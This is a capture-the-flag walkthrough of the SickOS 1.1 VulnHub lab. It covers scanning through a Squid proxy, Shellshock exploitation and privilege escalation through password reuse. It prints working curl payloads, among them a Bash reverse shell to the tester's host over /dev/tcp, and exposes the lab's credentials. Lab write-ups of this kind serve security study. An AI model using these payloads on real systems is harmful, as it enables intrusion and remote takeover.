SickOS 1.1
Overview
Objective: Get /root/a0216ea4d51874464078c618298b1367.txt
OVA link: https://www.vulnhub.com/entry/sickos-11,132/
Tools and commands used: netdiscover, nmap, nikto, metasploit, nc, curl, ssh
To start, I ran netdiscover to find the IP of the SickOS box. From the output, we know that the .1 is the gateway, .100 is the DHCP server (I know this from setting up the virtual network), and .102 is the target box.
netdiscover -r 192.168.1.0/24
Next up is an nmap scan, I went with -sV to just get an idea of what I had working for me.
nmap -sV 192.168.56.102
So from this, we can see we have an attack surface of either SSH or proxy manipulation of some sort. A little research on the squid proxy showswe can use a squid pivot scanner in metasploit to see what's behind the proxy. We can go in msfconsole and perform the following:
msf > use/auxillary/scanner/http/squid_pivot_scanning
msf > set RHOSTS 192.168.52.102
msf > set RANGE 192.168.52.102
msf > set RPORT 3128
msf > run
These actions will configure the pivot scanner to check several well known ports beyond the squid proxy. The output of the scan is as follows:
From this, we know there is some kind of web server over port 80. We can run a simple curl just to see what''s on the main page. This may lead us to find out what web software is running and other such information.
Ok so no information there.... We can, however, run a vulnerability scanner through the proxy similarly to how we ran the curl. While there are many interesting items of note, the snippet below is what I found most appealing to take advantage of.
nikto --useproxy 192.168.56.102.3128 -h 192.168.56.102
Next step is to get a working test to ensure that shellshock works and get a POC (proof of concept) working. Before we get the POC working, I'll start a netcat listener on port 443. This will be used for the shellshock payload to send back information to us.
nc -nlvp 443
Now that we have a listener, we have to get a working POC. We can send the shellshock poc in a curl to the webserver as follows.
curl -H 'User-Agent: () { ignored; }; echo "Shellshock Confirmed" >& /dev/tcp/192.168.56.101/443 0>&1' -x 192.168.56.102.3128 192.168.56.102/cgi-bin/status
Lets go over what we have here. We're doing a curl -H, which is a curl with a custom header line (User-Agent in this case). The () { ignored; };" portion of the curl is performing the "shellshock" part of the exploit. This allows us to enter in arbitrary code. For the test, I simply wrote echo "Shellshock Confirmed". The >& essentially redirects the aforementioned command to /dev/tcp/192.168.56.101/443, which is our Kali box. What's left is just the remnants of the Curl command. The -x specifies use of a poxy while the following IP specifies the specific URL said to be vulnerable to shellshock in our Nikto scan.
When running this command, we can check back to our listener.
Perfect! Now lets see if we can get a shell by passing in a shell. Instead of "echo "Shellshock Confirmed", I'm going to pass in "/bin/bash -i". This should send a terminal prompt over our way to port 443.
curl -H 'User-Agent: () { ignored; }; /bin/bash -i >& /dev/tcp/192.168.56.101/443 0>&1' -x 192.168.56.102.3128 192.168.56.102/cgi-bin/status
Now we have a shell to work with! Time to check out the web server, which are ordinarily located in /var/www. Let's see what we got. Looking at the results below, we have a couple items of interest. The file connect.py seems interesting. The index.php was just that "<h1>Bleh....</h1>" line from earlier. Robots.txt doesn't really include any hints. Going into the wolfcms folder looks alot more beneficial.
The config.php file seems to be the key to the puzzle. We can see a user of root with a password of john@123.
My first thought was to check to see if 3306 was open on the other side of the proxy. This may lead to easy database access over port 3306. My squid pivot scan from earlier did not cover 3306 so I just ran it again specifically on that port.
Well looks like we're out of luck going to the database manually. My next thought would be to access the CMS over port 80 and perhaps use that as a login. In order to connect to the CMS (which looking back I probly should have checked out even before the shellshock exploit), I configured FireFox to go through the proxy via the network settings. Using my limited shell on the SickOS box, I looked for a probably directory. We can go to 192.168.56.101/wolfcms/ and see the webpage!
After some research, I found that the WolfCMS admin login page is on /wolfcms/?admin/.
Unfortunately, the SQL database user/password combination did not let us in. To find additional users to test, I went back to my limited shell and found the user sickos in /home/. This did not work either. I then tried the root/john@123 password combination through SSH to see if that would get us root (again, should have tried this much earlier). This lead nowhere... but what DID work is SSH through user sickos and password john@123. Password reuse!
I first tried to get root via just switching users but the john@123 password doesn't check out. I ran sudo -l to check my user permissions. Turns out, I have a lot of access for a regular user.. I can just type in su - and tada! Here's the flag:
